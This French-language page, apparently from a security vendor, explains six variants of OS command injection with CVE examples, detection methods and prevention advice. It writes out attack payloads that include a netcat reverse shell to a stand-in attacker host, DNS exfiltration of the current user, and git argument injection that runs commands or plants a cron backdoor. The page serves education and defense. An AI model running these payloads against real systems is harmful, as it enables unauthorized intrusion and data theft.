L'injection de commandes permet aux attaquants d'exécuter des commandes OS arbitraires sur le serveur hôte en injectant dans des appels shell.
TL;DR
shell=False restent vulnérablesCette section présente les six techniques d'exploitation distinctes relevant du périmètre de l'injection de commandes. Chaque variante partage la même cause profonde — une entrée contrôlée par l'utilisateur influençant l'exécution d'une commande OS — mais diffère dans la façon dont l'injection est délivrée, comment le succès est confirmé, et quelles défenses s'appliquent.
La page pilier Injection de commandes couvre les fondamentaux communs : l'analyse des métacaractères shell, la classification CWE-77/CWE-78, le positionnement OWASP A03:2021, les techniques de contournement de filtre, et la prévention multi-langages. Les pages de ce cluster approfondissent la mécanique de chaque variante.
| Variante | CWE | Shell requis | Canal de sortie | Méthode de confirmation | CVE représentatif |
|---|---|---|---|---|---|
| Classique in-band | CWE-78 | Oui | Réponse HTTP | uid= dans le body | CVE-2022-46169 (Cacti) |
| À l'aveugle | CWE-78 | Oui | Aucun | Reverse shell, écriture de fichier | CVE-2024-9463 (Expedition) |
| À l'aveugle basée sur le temps | CWE-78 | Oui | Aucun (délai) | Delta sleep proportionnel | CVE-2024-21887 (Ivanti) |
| Hors-bande (OOB) | CWE-78 | Oui | Callback DNS/HTTP | Interaction serveur OAST | CVE-2024-3400 (PAN-OS) |
| Injection d'arguments | CWE-88 | Non | Variable | Comportement d'option binaire | CVE-2024-39930 (Gogs) |
| Second ordre (couvert dans le pilier) | CWE-77 | Oui | Différé | OOB avec long TTL | CVE-2024-3400 (étape de chaîne) |
L'injection de commandes classique OS est la baseline : la sortie de la commande injectée apparaît verbatim dans la réponse HTTP. Les métacaractères shell — ;, |, &&, ||, `, $() — séparent la commande de l'attaquant de la commande légitime. La sortie de id ou whoami dans le body de la réponse constitue une preuve confirmée de Tier 1.
Cette variante est la plus immédiatement visible et la plus facile à confirmer. Elle couvre également la plus grande variété de CVE réels — dont CVE-2022-46169 (Cacti, poller_id transmis à proc_open()), CVE-2014-6271 (Shellshock, commandes trailing dans des variables d'environnement), et CVE-2024-10914 (D-Link NAS, paramètre name dans un script CGI). Voir la page Classique pour l'arsenal complet de payloads, les vecteurs d'injection via en-têtes HTTP, et les patterns de prévention multi-langages.
L'injection de commandes à l'aveugle se produit lorsque l'application exécute la commande injectée mais supprime sa sortie — soit en ne reflétant pas stdout/stderr dans la réponse, soit en exécutant la commande dans un thread en arrière-plan, soit en traitant l'entrée dans une file d'attente. La surface d'attaque est identique à l'injection classique ; seule la méthode de confirmation diffère.
La détection nécessite un canal auxiliaire : une écriture de fichier vers un chemin accessible via le web (; touch /tmp/proof), un callback reverse shell (; nc attacker 4444 -e /bin/sh), ou le passage à l'une des deux variantes spécifiques à l'aveugle ci-dessous. L'idée centrale : l'absence de sortie ne signifie pas l'absence d'injection. De nombreux systèmes en production exécutent des commandes shell pour la journalisation, le reporting ou la surveillance sans jamais refléter les résultats aux utilisateurs.
L'injection à l'aveugle basée sur le temps utilise des commandes sleep ou ping pour introduire un délai mesurable, traitant la latence de réponse comme un oracle binaire. Un protocole de confirmation fiable nécessite une validation proportionnelle : injecter sleep 7 (attendre ~7s de delta), puis injecter sleep 14 (attendre ~14s de delta). Si les deux valeurs s'échelonnent proportionnellement avec le N injecté, l'injection est confirmée. Un pic unique sans échelonnement indique une charge serveur, un timeout CDN ou une gigue réseau — pas une injection.
Cette variante est essentielle lorsque l'OOB n'est pas réalisable en raison de restrictions réseau. BreachVex établit une baseline de latence médiane à partir de plusieurs requêtes propres avant toute injection de sleep, supprimant les faux positifs dans les environnements à haute latence.
L'injection OOB déclenche une connexion réseau depuis la cible vers un écouteur contrôlé par l'attaquant. Le pattern de callback DNS — ; nslookup $(whoami).OAST_DOMAIN — est le plus fiable : le trafic DNS passe à travers presque tous les pare-feux sortants, le sous-domaine encode l'utilisateur courant, et aucun buffering de réponse n'affecte le résultat.
L'OOB surpasse la détection basée sur le temps pour trois raisons : elle est insensible à la gigue de charge serveur, elle fournit une preuve d'identité (pas seulement un oui/non binaire), et elle fonctionne à travers les CDN qui bufferisent les réponses et aplatissent les deltas temporels. Les options d'infrastructure incluent Burp Collaborator (Burp Suite Pro), Interactsh (auto-hébergeable, ProjectDiscovery), et les endpoints OAST publics (oast.pro, oast.live, oast.fun).
CVE-2024-3400 (PAN-OS, CVSS 10.0) a été confirmé dans la nature via OOB : l'acteur menaçant UTA0218 a utilisé la technique pour vérifier l'exécution avant de déployer la backdoor Python UPSTYLE contre des cibles gouvernementales et d'infrastructures critiques.
L'injection d'arguments est catégoriquement différente des quatre variantes ci-dessus. Elle ne nécessite pas de métacaractères shell, d'invocation de shell, ni même une commande concaténée sous forme de chaîne. L'attaquant injecte des flags de ligne de commande dans un appel subprocess en forme de tableau que le développeur croyait sûr.
# Le développeur suppose que c'est sûr car aucun shell n'est invoqué :
subprocess.run(["git", "clone", user_repo])
# L'attaquant fournit :
# user_repo = "--upload-pack=touch /tmp/pwned http://attacker.com/repo"
# Appel résultant : git clone --upload-pack=touch /tmp/pwned http://attacker.com/repo
# git exécute : touch /tmp/pwned — aucun shell, aucun métacaractèreCette variante est gravement sous-détectée car les défenses standard basées sur l'échappement et les API tableau avec shell=False n'offrent aucune protection. La page Injection d'arguments couvre la divulgation écosystémique BatBadBut (CVE-2024-24576, affectant Rust, PHP, Node.js, Haskell sur Windows), le projet argument-injection-vectors de Sonar (curl, git, ssh, psql, zip, chrome), et CVE-2024-39930 (Gogs SSH, CVSS 9.9).
Tester uniquement l'injection classique manque entièrement l'injection d'arguments (CWE-88). Un paramètre qui rejette ; et | peut toujours accepter --output=/etc/cron.d/backdoor. Tout paramètre atteignant un binaire externe devrait être testé avec des valeurs de type flag commençant par -.
Les six variantes remontent à une seule décision de conception : utiliser des commandes OS depuis le code applicatif lorsque des bibliothèques natives au langage suffiraient. Le guide de défense contre l'injection de commandes OS d'OWASP et l'alerte Secure by Design de la CISA de juillet 2024 énoncent tous deux le même contrôle principal : ne pas invoquer de shell. Utiliser os.listdir() au lieu de ls, socket.gethostbyname() au lieu de nslookup, requests au lieu de curl. Lorsque l'exécution OS est véritablement inévitable, utiliser des API subprocess en tableau d'arguments avec une validation stricte par liste d'autorisation sur chaque argument — et tester chaque argument pour l'injection de flag, pas seulement l'injection de métacaractère.
Note : OWASP Top 10:2025 RC1 reclasse Injection en A05:2025 ; A03:2021 reste la référence publiée.
Classique in-band (sortie reflétée dans la réponse), À l'aveugle (sortie supprimée), À l'aveugle basée sur le temps (délai sleep/ping comme oracle), Hors-bande (exfiltration via callback DNS/HTTP), Injection d'arguments (injection de flag CLI, CWE-88), et Second ordre / stockée (exécution différée par un processus en arrière-plan).
L'injection de second ordre est la plus difficile car le payload est stocké et exécuté de manière asynchrone, parfois des heures plus tard par un processus en arrière-plan. Les scanners DAST standard qui inspectent les réponses HTTP immédiates la manqueront entièrement. Les payloads OOB avec de longs TTL DNS sont la méthode de détection la plus fiable.
L'injection classique retourne la sortie de la commande dans la réponse HTTP — l'attaquant voit les résultats directement. L'injection à l'aveugle exécute la commande mais supprime toute sortie de la réponse. Elles partagent la même cause profonde (entrée non sanitisée transmise à un shell) mais nécessitent des techniques de détection et d'exploitation différentes.
L'injection classique utilise des métacaractères shell (;, |, &&, $()) pour enchaîner de nouvelles commandes. L'injection d'arguments (CWE-88) injecte des flags de ligne de commande dans un appel binaire existant — aucun shell n'est nécessaire. Une valeur comme --upload-pack=id>/tmp/pwned passée à git clone exécute du code arbitraire sans aucun métacaractère. L'échappement shell standard ne protège pas contre elle.
L'hors-bande (OOB) via callback DNS est la plus fiable. Elle est insensible à la gigue de charge serveur (contrairement à la méthode basée sur le temps), passe à travers la plupart des pare-feux (le DNS est rarement bloqué en sortie), et fournit une preuve d'identité en encodant la sortie de la commande dans le sous-domaine DNS. Burp Collaborator et Interactsh sont les infrastructures standard.
Commix (v4.1) couvre les variantes classique, à l'aveugle basée sur le temps, par fichier et OOB automatiquement avec --technique=CTF. L'injection d'arguments nécessite des tests manuels — soumettre des valeurs commençant par - ou -- dans les paramètres transmis à des binaires externes. L'injection de second ordre nécessite une revue manuelle des flux de données stockées.
L'injection de commandes accessible par le réseau sans authentification est scorée CVSS 9.8 comme base. Deux CVE de 2024 ont atteint CVSS 10.0 : CVE-2024-3400 (PAN-OS, C:H/I:H/A:H complet avec changement de portée) et CVE-2024-24576 (Rust stdlib BatBadBut sur Windows). Les variantes authentifiées scorent typiquement 8.0–9.3 selon le niveau de privilège requis.
L'injection d'arguments (CWE-88) ne nécessite aucun shell. La valeur injectée est analysée comme option de ligne de commande par le binaire lancé lui-même. Même subprocess.run(['cmd', user_input]) avec shell=False est vulnérable si user_input commence par un flag comme --output=/path.
Commencer par le classique — soumettre ; echo cmdi-$(id) et vérifier si uid= apparaît dans la réponse. Sinon, essayer la méthode basée sur le temps (injecter ; sleep 7 et mesurer le delta par rapport à la baseline). Si le timing est peu fiable, utiliser l'OOB avec un domaine Collaborator/Interactsh. Tester l'injection d'arguments sur tout paramètre atteignant un binaire externe. Le second ordre nécessite une revue de code ou une surveillance de payload stocké.
Souvent oui. Le contexte d'exécution différée (tâches cron, scripts d'administration, workers en arrière-plan) tourne fréquemment en root ou sous un compte de service à plus hauts privilèges que le processus applicatif web lui-même. C'est pourquoi l'injection de second ordre dans les panneaux d'administration et les interfaces de planification de tâches est particulièrement sévère.